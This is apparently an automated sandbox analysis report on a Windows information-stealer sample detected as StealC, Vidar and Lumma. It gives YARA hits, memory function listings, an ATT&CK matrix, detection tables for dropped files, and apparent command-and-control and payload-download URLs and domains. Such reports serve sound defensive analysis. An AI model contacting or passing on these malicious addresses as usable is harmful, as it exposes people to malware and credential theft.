Source: Yara match	File source: 00000005.00000002.2523365754.00000000014EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe PID: 4944, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe PID: 4944, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C590C40 sqlite3_bind_zeroblob,	5_2_6C590C40
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C590D60 sqlite3_bind_parameter_name,	5_2_6C590D60
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4B8EA0 sqlite3_clear_bindings,	5_2_6C4B8EA0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C590B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	5_2_6C590B40
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4B6410 bind,WSAGetLastError,	5_2_6C4B6410
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4BC050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	5_2_6C4BC050
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4B6070 PR_Listen,	5_2_6C4B6070
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4BC030 sqlite3_bind_parameter_count,	5_2_6C4BC030
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4B60B0 listen,WSAGetLastError,	5_2_6C4B60B0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4422D0 sqlite3_bind_blob,	5_2_6C4422D0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4B63C0 PR_Bind,	5_2_6C4B63C0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4B9400 sqlite3_bind_int64,	5_2_6C4B9400
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4B94C0 sqlite3_bind_text,	5_2_6C4B94C0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4B94F0 sqlite3_bind_text16,	5_2_6C4B94F0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4B9480 sqlite3_bind_null,	5_2_6C4B9480

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	41 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Windows Service	2 Bypass User Account Control	11 Deobfuscate/Decode Files or Information	LSASS Memory	13 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Extra Window Memory Injection	4 Obfuscated Files or Information	Security Account Manager	248 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Service Execution	Login Hook	1 Windows Service	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	112 Process Injection	1 DLL Side-Loading	LSA Secrets	861 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Scheduled Task/Job	2 Bypass User Account Control	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	361 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	361 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	112 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
AWrVzd6XpC.exe	56%	Virustotal		Browse
AWrVzd6XpC.exe	61%	ReversingLabs	Win32.Trojan.StealC
AWrVzd6XpC.exe	100%	Avira	TR/Crypt.XPACK.Gen
AWrVzd6XpC.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\Documents\GCBKECAKFB.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\Documents\GCBKECAKFB.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	53%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	68%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	68%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	53%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
http://185.215.113.16/off/def.exea	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpo-	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpw-	100%	Avira URL Cloud	malware
http://31.41.244.11/files/london/random.exez	0%	Avira URL Cloud	safe
http://185.215.113.16/off/def.exeat%	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/softokn3.dlln4	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/softokn3.dlla4	100%	Avira URL Cloud	malware
https://grannyejh.lat/yd3Fx	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phper	100%	Avira URL Cloud	malware
http://185.215.113.206Rx	0%	Avira URL Cloud	safe
https://treehoneyi.click/api	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/sqlite3.dll_z	100%	Avira URL Cloud	malware
http://185.215.113.16/off/def.exemnko	0%	Avira URL Cloud	safe
https://pancakedipyps.click/pi~	0%	Avira URL Cloud	safe
https://grannyejh.lat/rd(Fy	100%	Avira URL Cloud	malware
https://grannyejh.lat/-d	100%	Avira URL Cloud	malware
https://treehoneyi.click/T	0%	Avira URL Cloud	safe
https://grannyejh.lat/apiN	100%	Avira URL Cloud	malware
https://grannyejh.lat/&d	100%	Avira URL Cloud	malware
https://grannyejh.lat:443/apibTx	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/msvcp140.dllR4L5	100%	Avira URL Cloud	malware
http://185.215.113.16/)g	0%	Avira URL Cloud	safe
https://grannyejh.lat:443/api(	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpuP	100%	Avira URL Cloud	malware
http://185.215.113.16/mine/random.exe=	0%	Avira URL Cloud	safe
http://31.41.244.11/files/london/random.exe	100%	Avira URL Cloud	phishing
http://185.215.113.206/68b591d6548ec281/freebl3.dlleu	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exep9	0%	Avira URL Cloud	safe
https://grannyejh.lat:443/api..	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/vcruntime140.dllH8	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
pancakedipyps.click	172.67.209.202	true	false	high
treehoneyi.click	172.67.180.113	true	true	unknown
grannyejh.lat	172.67.179.109	true	false	high
www.google.com	172.217.19.228	true	false	high
sweepyribs.lat	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/	false	high
aspecteirs.lat	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
sustainskelet.lat	false	high
rapeflowwj.lat	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
https://pancakedipyps.click/api	false	high
energyaffai.lat	false	high
grannyejh.lat	false	high
pancakedipyps.click	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
necklacebudi.lat	false	high
http://185.215.113.16/mine/random.exe	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false	high
crosshuaht.lat	false	high
http://185.215.113.206/68b591d6548ec281/msvcp140.dll	false	high
http://185.215.113.206/c4becf79229cb002.php	false	high
https://www.google.com/async/newtab_promos	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.16/off/def.exea	AWrVzd6XpC.exe, 00000000.00000003.1992346807.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	AWrVzd6XpC.exe, 00000000.00000003.1756616344.00000000055DE000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1756676835.00000000055DB000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1756750960.00000000055DB000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926545484.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926378958.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926147268.0000000003C1B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpo-	BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001548000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/ac/?q=	AWrVzd6XpC.exe, 00000000.00000003.1756616344.00000000055DE000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1756676835.00000000055DB000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1756750960.00000000055DB000.00000004.00000800.00020000.00000000.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001562000.00000004.00000020.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926545484.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926378958.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926147268.0000000003C1B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#	skotes.exe, 0000000F.00000002.2957332122.0000000000ED7000.00000004.00000020.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000010.00000002.2876504906.0000000000E93000.00000004.00000020.00020000.00000000.sdmp, random[1].exe.15.dr	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	skotes.exe, 0000000F.00000002.2957332122.0000000000ED7000.00000004.00000020.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000010.00000002.2876504906.0000000000E93000.00000004.00000020.00020000.00000000.sdmp, random[1].exe.15.dr	false		high
http://185.215.113.206Rx	BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.00000000014EE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2534290002.000000000BDE2000.00000004.00000020.00020000.00000000.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001562000.00000004.00000020.00020000.00000000.sdmp, FIECFBAAAFHIIDGCGCBF.5.dr	false		high
http://31.41.244.11/files/fate/random.exe	skotes.exe, 0000000F.00000002.2957332122.0000000000EBF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://pancakedipyps.click/	8c6b987a2c.exe, 00000012.00000002.2951627385.0000000001543000.00000004.00000020.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000002.2951627385.00000000014EB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpw-	BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001548000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://grannyejh.lat/yd3Fx	AWrVzd6XpC.exe, 00000000.00000003.1859323658.0000000000CDB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://grannyejh.lat:443/api	AWrVzd6XpC.exe, AWrVzd6XpC.exe, 00000000.00000003.1829378955.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1833971224.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1835201454.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1835695200.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1836406182.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1830574619.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1831383332.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1831976810.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1832350531.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1836312531.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1834366630.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1835906268.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1830465001.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1827517066.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1834865370.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1834122320.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1834620512.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1835443939.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1827868227.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1830842138.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	FIECFBAAAFHIIDGCGCBF.5.dr	false		high
http://185.215.113.206/c4becf79229cb002.phper	BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2518247664.0000000000C47000.00000040.00000001.01000000.00000009.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/off/def.exeat%	AWrVzd6XpC.exe, 00000000.00000003.1992346807.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2534290002.000000000BDE2000.00000004.00000020.00020000.00000000.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001562000.00000004.00000020.00020000.00000000.sdmp, FIECFBAAAFHIIDGCGCBF.5.dr	false		high
http://185.215.113.206/68b591d6548ec281/softokn3.dlla4	BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001548000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	skotes.exe, 0000000F.00000002.2957332122.0000000000ED7000.00000004.00000020.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000010.00000002.2876504906.0000000000E93000.00000004.00000020.00020000.00000000.sdmp, random[1].exe.15.dr	false		high
http://www.mozilla.com/en-US/blocklist/	BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2540920439.000000006CE7D000.00000002.00000001.01000000.0000000E.sdmp	false		high
https://mozilla.org0/	nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr	false		high
http://185.215.113.206/68b591d6548ec281/softokn3.dlln4	BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001548000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	AWrVzd6XpC.exe, 00000000.00000003.1756616344.00000000055DE000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1756676835.00000000055DB000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1756750960.00000000055DB000.00000004.00000800.00020000.00000000.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001562000.00000004.00000020.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926545484.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926378958.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926147268.0000000003C1B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	AWrVzd6XpC.exe, 00000000.00000003.1802874978.00000000055CB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2534290002.000000000BDE2000.00000004.00000020.00020000.00000000.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001562000.00000004.00000020.00020000.00000000.sdmp, FIECFBAAAFHIIDGCGCBF.5.dr	false		high
http://ocsp.rootca1.amazontrust.com0:	AWrVzd6XpC.exe, 00000000.00000003.1802874978.00000000055CB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	AWrVzd6XpC.exe, 00000000.00000003.1779952047.00000000055EA000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1757069324.00000000055F1000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1779803626.00000000055EA000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1757150147.00000000055EA000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1780122143.00000000055EA000.00000004.00000800.00020000.00000000.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2518247664.0000000000B64000.00000040.00000001.01000000.00000009.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000003.2262592384.0000000005CAD000.00000004.00000020.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000002.2955157000.0000000003C27000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2927803313.0000000003C27000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2927554859.0000000003C73000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2928037111.0000000003C27000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	AWrVzd6XpC.exe, 00000000.00000003.1756616344.00000000055DE000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1756676835.00000000055DB000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1756750960.00000000055DB000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926545484.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926378958.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926147268.0000000003C1B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000003.2404024605.000000000C03C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/london/random.exez	skotes.exe, 0000000F.00000002.2957332122.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://treehoneyi.click/api	59bcbe04f3.exe, 00000013.00000002.2953798194.000000000149E000.00000004.00000020.00020000.00000000.sdmp, 59bcbe04f3.exe, 00000013.00000002.2953798194.00000000014FB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.micro	AWrVzd6XpC.exe, 00000000.00000003.1832522156.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1827868227.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1836312531.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1830842138.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1834366630.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1831567671.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1835201454.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1918894430.0000000000CBF000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1834620512.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1834122320.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1830212681.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1829521154.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1828173832.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1830344837.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1832350531.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1831976810.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1828033872.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1835695200.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1833765561.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1827517066.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1827703782.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll_z	BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001562000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://grannyejh.lat/-d	AWrVzd6XpC.exe, 00000000.00000003.1878028096.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
